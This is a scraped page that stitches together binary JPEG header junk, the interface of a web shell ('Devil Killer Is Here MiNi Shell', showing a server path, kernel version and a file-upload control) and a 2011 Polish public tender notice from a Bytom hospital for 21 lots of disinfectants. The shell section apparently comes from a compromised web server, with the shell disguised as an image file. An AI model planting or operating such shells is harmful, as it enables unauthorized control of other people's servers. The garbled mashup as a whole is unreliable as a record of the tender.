JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20111104/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20111104/364768-N-2011.html

<p class="kh_header"><b>Bytom: Zakup i dostawa środków dezynfekcyjnych i antyseptycznych</b><br>
<b>Numer ogłoszenia: 364768 - 2011; data zamieszczenia: 04.11.2011</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Szpital Specjalistyczny Nr 1 , ul. Żeromskiego 7, 41-902 Bytom, woj. śląskie, tel. 032 3963266, 3863332, faks 032 2816765.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> http://www.szpital1.bytom.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Samodzielny publiczny zakład opieki zdrowotnej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Zakup i dostawa środków dezynfekcyjnych i antyseptycznych.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiot zamówienia podzielony został na niżej wymienione pakiety (części):

Pakiet I: Dezynfekcja rąk
Preparat alkoholowy do odkażania rąk i skóry:
- chroniący i pielęgnujący skórę rąk
- z aktywna substancją - etanol
- działający na B, F,V.

Pakiet II: Dezynfekcja rąk przed zabiegami operacyjnymi
Łagodny, alkoholowy środek w żelu do dezynfekcji higienicznej i chirurgicznej rąk personelu oparty etanol i siedem  substancji pielęgnujących, bez grup fenolowych,  Spektrum działania B,Tbc,F,V (Noro, Rota, HIV, HBV, HCV, Polio, Adeno). Czas dezynfekcji chirurgicznej do 3 minut. Do każdego dozownika pompka dozująca..
* zaoferowany środek dezynfekcyjny musi być kompatybilny z posiadanymi dozownikami Zamawiającego - TYP DERMADOS
	
Pakiet III: Dezynfekcja skóry przed iniekcjami i punkcjami
Alkoholowy preparat z nadtlenkiem wodoru do odkażania i odtłuszczania skóry pacjenta przed iniekcjami, szczepieniami, bezbarwny, bezjodowy, bez grup fenolowych. Spektrum działania B,Tbc,V (Adeno, Herpes, Rota, HIV, HBV). Czas ekspozycji do 1 min.

Pakiet IV: Dezynfekcja powierzchni dużych i sprzętu
1.Płynny, skoncentrowany preparat do mycia i dezynfekcji powierzchni wyrobów medycznych i wyposażenia, bez aldehydów, aktywnego chloru, związków utleniających oraz pochodnych fenolowych. Spektrum działania: B, V, F, HIV, HCV, Tbc, MRSA. Aktywny wobec Legionella pneumophilia, Stężenie: 0,25%, Czas działania: 15 minut. Może być używany obecności pacjentów o przyjemnym zapachu.
2.Preparat do dezynfekcji powierzchni zanieczyszczonych materiałem organicznym wyrobów medycznych. Na bazie aktywnego tlenu, nie zawiera aldehydów. Spektrum działania: B, F, V (HIV, HCV, Rota, Adeno, Polio) Tbc i sporów. Czas działania 1 godzina
3.Fenolowy środek do dezynfekcji instrumentów, powierzchni oraz sprzętu laboratoryjnego o szerokim spektrum aktywności biobójczej. Rekomendowany do dezynfekcji plwocin gruźliczych i powierzchni w przypadku wystąpienia gruźlicy.

Pakiet V: Preparaty do błon śluzowych
1.Preparat gotowy do użycia:
- antyseptyk do ran o błon śluzowych oraz skóry,
- alternatywa skuteczna dla dotychczas stosowanych substancji aktywnych np. PVP, jod, organiczne związki rtęci;
- dobrze tolerowany przez błony śluzowe i skórę, nie powodujący podrażnienia ran;
- nie ulegające wchłanianiu substancje aktywne;
- bezbarwny nie pozostawiający plam;
- w składzie między innymi: dichlorowodorek octenidyny -0,1g
2.Preparat zawierający kompleksowy związek jodu z poli (1-winyl - 2-pirolidonem) 
- wodny roztwór związku jodowo-poliwidonowego do odkażania skóry i śluzówek;
- działanie: B F, Tbc - inaktywująco na wirusy;
- pierwotniakobójczy.

Pakiet VI: Preparaty do dezynfekcji sprzętów laparoskopowych
Preparat w postaci koncentratu na bazie czwartorzędowych związków amonowych do dezynfekcji narzędzi posiadających szerokie spektrum działania: B, F, MRSA, V (HIV, HBV, BVDV, Vaccinia) Mycobacterium Terre, działający w stężeniu 1% i czasie 15minutV, Tbc - do 30 minut

Pakiet VII: Dezynfekcja narzędzi
Preparat do dezynfekcji manualnej narzędzi na bazie nadwęglanu sodu,  bez aktywatora, nie zawierający aldehydów, Chloru, QAV, pochodnych benzenu i fenolu. Przeznaczony do myjek ultradźwiękowych, bezwonny w roztworze, w granulkach. Przygotowanie roztworu w wodzie o temperaturze pokojowej. Spektrum i czas działania: B, F, V, Tbc - do 10 minut, S - do 3 godzin

Pakiet VIII: Preparat czyszczący
Gotowy do użytku roztwór myjący do gruntownego usuwa alginianu i cementu i plam z cynku i eugenolu na wyposażeniu, narzędziach i skór, usuwa z jodu i inne barwne plamy po zabiegach operacyjnych , w skład wchodzą m.in. naturalne terpeny pomarańczowe i lanolina, nie zawiera zasad ani mydła, ma właściwości natłuszczające.

Pakiet IX: Preparaty do pielęgnacji skóry narażonej na odleżyny i zapobiegające powstawaniu odleżyn
1. Płyn pielęgnacyjny do ciał, zapobiegający powstawaniu odleżyn, zawierający oleje z drzewa eukaliptusowego o działaniu antybakteryjnym i antygrzybicznym, nawilżający i uelastyczniającym skórę, o przyjemnym zapachu
2.Olejek do pielęgnacji skóry narażonej na odleżyny, z zaburzonym mikrokrążeniem, zawierający naturalne oleje z rokitnika, aloesu, jojoby i nagietka, o właściwościach nawilżających i natłuszczających zapobiegających powstawaniu odleżyn i odparzeń, oraz pękaniu i pierzchnięciu skóry 

Pakiet X: Preparaty  myjąco - dezynfekujące, dezynfekcyjne do endoskopów giętkich i sztywnych
1.Preparat nie wymagający aktywacji, mieszania, rozcieńczania:
- zawierający 2 % aldehyd glutarowy do dezynfekcji wysokiego stopnia termolabilnych narzędzi oraz sprzętu endoskopowego do wielokrotnego stosowania w okresie 30 dni;
- ze spektrum działania - B, F, V, Tbc - 10 minut;
- działanie sporobójcze 1 godzina;
- wymagana paski testowe sprawdzające aktywność roztworu roboczego.
2.Preparat trójenzymatyczny dezynfekcyjno - myjący w płynie:
-rozpuszczający albuminy, glikogen oraz trójglicerydy;
- przeznaczony do dezynfekcji i mycia zanieczyszczonych substancjami organicznymi narzędzi i sprzętu medycznego wykonanego   z tworzyw sztucznych i gumy;
- neutralne pH roztworu roboczego;
- stabilność roztworu 24 godziny;
- możliwość użycia manualnego i w myjkach ultradźwiękowych;
- spektrum i czas działania B, V, F, Tbc, - 10 minut

Pakiet XI: Dezynfekcja skóry pacjenta przed zabiegami
1.Alkoholowy preparat z nadtlenkiem wodoru do odkażania i odtłuszczania skóry pacjenta przed iniekcjami, szczepieniami, bezbarwny, bezjodowy, bez grup fenolowych. Spektrum działania B,Tbc,V (Adeno, Herpes, Rota, HIV, HBV). Czas ekspozycji do 1 min.
2Alkoholowy preparat z nadtlenkiem wodoru do odkażania i odtłuszczania skóry pacjenta przed iniekcjami, szczepieniami, barwiony, bezjodowy, bez grup fenolowych. Spektrum działania B,Tbc,V (Adeno, Herpes, Rota, HIV, HBV). Czas ekspozycji do 1 min.

Pakiet XII: Preparat do wstępnej dezynfekcji narzędzi chirurgicznych	
Preparat w postaci piany do zwilżania i wstępnej dezynfekcji zanieczyszczonych narzędzi chirurgicznych  zawierający kompleks trójenzymatyczny (PROTEAZA, LIPAZA, AMELAZA) aktywny wobec B, Tbc, F, V, (HIV, HBV, HCV)

Pakiet XIII: Środki myjące do rąk przed zabiegami chirurgicznymi 
1. Emulsja do pielęgnacyjnego mycia zniszczonej lub wrażliwej skóry: nie zawiera barwników i mydła oraz związków alkalicznych,  hipoalergiczna pH 5 - 6 odpowiadające odczynowi skóry z alantoiną łagodzącą podrażnienia skóry, zawiera białka powierzchniowo czynne, betainy oraz środki powierzchniowo czynne na bazie naturalnych surowców,  przeciwdziała wysuszeniu i podrażnieniom skóry rąk na skutek częstego kontaktu z wodą i środkami dezynfekcyjnymi
2.Emulsja do pielęgnacyjnego mycia zniszczonej lub wrażliwej skóry: nie zawiera barwników i mydła oraz związków alkalicznych,  hipoalergiczna pH 5 - 6 odpowiadające odczynowi skóry z alantoiną łagodzącą podrażnienia skóry, zawiera białka powierzchniowo czynne, betainy oraz środki powierzchniowo czynne na bazie naturalnych surowców,  przeciwdziała wysuszeniu i podrażnieniom skóry rąk na skutek częstego kontaktu z wodą i środkami dezynfekcyjnymizaoferowany środek dezynfekcyjny musi być kompatybilny z posiadanymi dozownikami Zamawiającego - TYP ELS 500ml i TLS 1000ml

Pakiet XIV: Preparaty przeznaczone do pielęgnacji i ochrony narzędzi
1.Płynny środek do konserwacji narzędzi medycznych, włącznie z giętkimi endoskopami oraz wszelkiego rodzaju przedmiotami stalowymi. Z dodatkiem oleju silikonowego na bazie dimethylpolysiloxanu. Gaz napędowy (propan/butan). Nie zawierający freonu. 
2.Pielęgnacyjny spray do narzędzi medycznych, włącznie ze sztywnymi endoskopami oraz wszelkiego rodzaju przedmiotami stalowymi. Na bazie białego oleju medycznego. Gaz napędowy (propan/ butan). Nie zawierający freonu.

Pakiet XV: Środki pielęgnacyjne przeznaczone dla pacjentów
1.Preparat w postaci pianki gotowy do użycia, przeznaczony do łagodnego mycia i pielęgnacji skóry pacjentów obłożnie chorych, php neutralne dla skóry, zawierający łagodne środki myjące które mogą być stosowane na podrażniona skórę bez użycia wody i mydła. Dobrze wchłanialny, zawierający alantoinę która wspomogą odbudowę i regenerację oraz prowitaminę D-panthenol łagodzącą podrażnienia i zaczerwienienia skóry. Przetestowany dermatologiczny

Pakiet XVI: Środki pielęgnacyjne dla personelu medycznego
1.Emulsja do codziennej pielęgnacji rąk, zawierająca bisabolol i dekspantenol. 
Nie zawiera barwników o pH ok.6.

Pakiet XVII: Środki przeznaczone do mycia ciała pacjenta przed zabiegami
Preparat służący do dekontaminacji ciała pacjenta oraz  do  higienicznego mycia rąk.  Oparty o triclosan, nie zawierający mydła, chlorheksydyny, alkoholi , pochodnych octenidyny i  biguanidyny . Nie powodujący podrażnień o pH 5,0 - 5,5Spektrum działania: B (MRSA i ORSA),V (HBV, HIV

Pakiet XVIII: Szybka dezynfekcja powierzchni i miejsc trudno dostępnych
Preparat do dezynfekcji małych powierzchni na bazie alkoholi ( alkohol etylowy, alkohol izopropylowy) oraz czwartorzędowych soli amoniowych, nie zawierający aldehydów, gotowy do użycia. Spektrum działania: B, F, V (Polio, Adeno), MRSA, w czasie do 1 minuty, Tbc w czasie do 2 min.

Pakiet XIX: Preparat myjąco - dezynfekcyjny instrumentów do myjek ultradźwiękowych
Preparat do mycia i dezynfekcji instrumentów z metali, tworzyw sztucznych, szkła, materiałów termolabilnych, do myjek ultradźwiękowych, z dodatkiem ihibitorów korozji na bazie substancji aktywnej nielotnej  glukoprotaminy. Okres przydatności do użycia 14 dni..

Pakiet XX: Preparat myjąco - dezynfekcyjny  do powierzchni wrażliwych na działanie alkoholi i głowic USG
Preparat w postaci aktywnej piany do mycia i dezynfekcji wyrobów medycznych, inkubatorów i małych powierzchni roboczych. Bez zawartości alkoholu etylowego i chlorków. Gotowy do użycia, opakowanie z końcówką spieniającą.

Pakiet XXI: Środki do dezynfekcji endoskopów optycznych i wideoendoskopów
1.detergentowy skoncentrowany preparat myjący do myjni endoskopowej, w którego skład wchodzą niejonowe środki powierzchniowe, glikol. Przeznaczony do maszynowego mycia endoskopów giętkich w urządzeniu typu ETD3. Kanister przygotowany do automatycznego dozowania
2.skoncentrowany preparat dezynfekcyjny do myjni endoskopowej zawierający kwas octowy, kwas nadoctowy, nadtlenek wodoru. Spektrum działania: bakterie, grzyby, wirusy, prędki gruźlicy. Usuwający zanieczyszczenia organiczne. Przeznaczony do dezynfekcji chemiczno-termicznej w myjni automatycznej typu ETD3. Kanister przygotowany do automatycznego dozowania
3. skoncentrowany aktywator do  w/w preparatu dezynfekcyjnego 
Kanister przygotowany do automatycznego dozowania
 Zaoferowane środki dezynfekcyjne dla pakiety XI muszą być kompatybilne z posiadanymi przez szpital endoskopami optycznymi i wideoendoskopami GIF TYP Q 1445,CF TYP Q145.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 33.63.16.00-8.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 21.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Rozpoczęcie: 01.01.2012.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> brak</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zezwolenie uprawniające do obrotu na terenie Polski produktami leczniczymi stanowiącymi przedmiot zamówienia /odpowiedni dokument/ - w przypadku zaoferowania produktu leczniczego: 1) ważne zezwolenie Głównego Inspektora Farmaceutycznego (GIF) w zakresie prowadzenia hurtowni farmaceutycznej; 2) ważne zezwolenie Głównego Inspektora Farmaceutycznego (GIF) na wytwarzanie produktów leczniczych jeżeli Wykonawca jest wytwórcą; 3) w przypadku Wykonawcy prowadzącego skład konsygnacyjny, skład celny - zezwolenie na prowadzenie składu konsygnacyjnego, składu celnego zawierające uprawnienie przyznane przez Głównego Inspektora Farmaceutycznego w zakresie obrotu produktami leczniczymi.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Oświadczenie o spełnianiu warunków udziału w postępowaniu (załącznik nr 3 do specyfikacji);</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Oświadczenie o spełnianiu warunków udziału w postępowaniu (załącznik nr 3 do specyfikacji);</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Oświadczenie o spełnianiu warunków udziału w postępowaniu (załącznik nr 3 do specyfikacji);</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Oświadczenie o spełnianiu warunków udziału w postępowaniu (załącznik nr 3 do specyfikacji);</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">koncesję, zezwolenie lub licencję</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków  lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenie zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na potencjał innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<br><p class="bold">

III.5) INFORMACJA O DOKUMENTACH POTWIERDZAJĄCYCH, ŻE OFEROWANE DOSTAWY , USŁUGI LUB ROBOTY BUDOWLANE ODPOWIADAJĄ OKREŚLONYM WYMAGANIOM</p>
<p class="bold">W zakresie potwierdzenia, że oferowane dostawy, usługi lub roboty budowlane odpowiadają określonym wymaganiom należy przedłożyć:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc">
<li style="margin-bottom: 12px;"><p style="margin: 0px; padding: 0px;">inne dokumenty</p>
<p style="margin: 0px; padding: 0px;">3.1 	kserokopię dokumentu uprawniającego do używania i obrotu zaoferowanymi wyrobami medycznymi zgodnie z ustawą z dnia 20 maja 2010 r. o wyrobach medycznych (Dz. U z 2010 r. Nr 93 poz. 896 z późn. zm.) - dotyczy preparatów sklasyfikowanych jako wyroby medyczne, 
3. 2. 	pozwolenie na obrót produktem biobójczym na terenie Polski zgodnie z przepisami Ustawy z dnia 13 września 2002 r. o produktach biobójczych (Dz. U z 2007 Nr 39 poz. 252)- dotyczy preparatów sklasyfikowanych jako produkty biobójcze;
3.3. 	pozwolenie na obrót produktem leczniczym zgodnie z Ustawą z dnia 6 września 2001 r. Prawo Farmaceutyczne (Dz. U. z 2004 r. Nr 53 poz. 533 z późn. zm.) - dotyczy preparatów sklasyfikowanych jako produkty lecznicze;
3.4. 	wpis do Krajowego Systemu Informowania o kosmetykach zgodnie z Ustawą o kosmetykach z dnia 30 marca 2001  (Dz. U. 42, poz. 473 z późn. zm.)- dotyczy preparatów sklasyfikowanych jako kosmetyk 
3.5. 	dokument (etykieta, ulotka, folder) wg którego będzie można zweryfikować wszystkie parametry techniczne wymagane przez Zamawiającego w formularzu cenowym (stwierdzenie zgodności oferowanego produktu z opisem)   z zaznaczeniem, którego pakietu i pozycji dotyczy</p></li>



</ul><p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Pełnomocnictwo osób podpisujących ofertę w imieniu Wykonawcy, udzielone przez osobę  upoważnioną zgodnie z właściwym rejestrem. Należy dołączyć do oferty oryginał lub kopię poświadczoną za zgodność z oryginałem przez udzielającego pełnomocnictwa lub notariusza.
Przed podpisaniem umowy Wykonawca którego oferta  zostanie wybrana dla danego pakietu zobowiązany będzie przedstawić Zamawiającemu karty charakterystyk zaproponowanych preparatów</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>W trakcie obowiązywania umowy strony dopuszczają zmiany cen w poniższym brzmieniu:
1.	zmianę cen jednostkowych asortymentu objętego umową w przypadku zmiany wielkości  opakowania wprowadzonej przez producenta z zachowaniem zasady proporcjonalności w stosunku do ceny objętej umową.
2.	zmianę cen jednostkowych asortymentu objętego umową  na cenę niższą niż ustalona w umowie z zastrzeżeniem warunków dotyczących ich jakości określonych w SIWZ
3.	zmiany stawki podatku VAT, przy czym zmianie ulegnie wyłącznie cena brutto, cena netto pozostanie bez zmian</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.szpital1.bytom.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Szpital Specjalistyczny nr 1 ul. Żeromskiego 7 41-902 Bytom Zamówienia Publiczne (blok III, piętro IV, pok.3).</p>
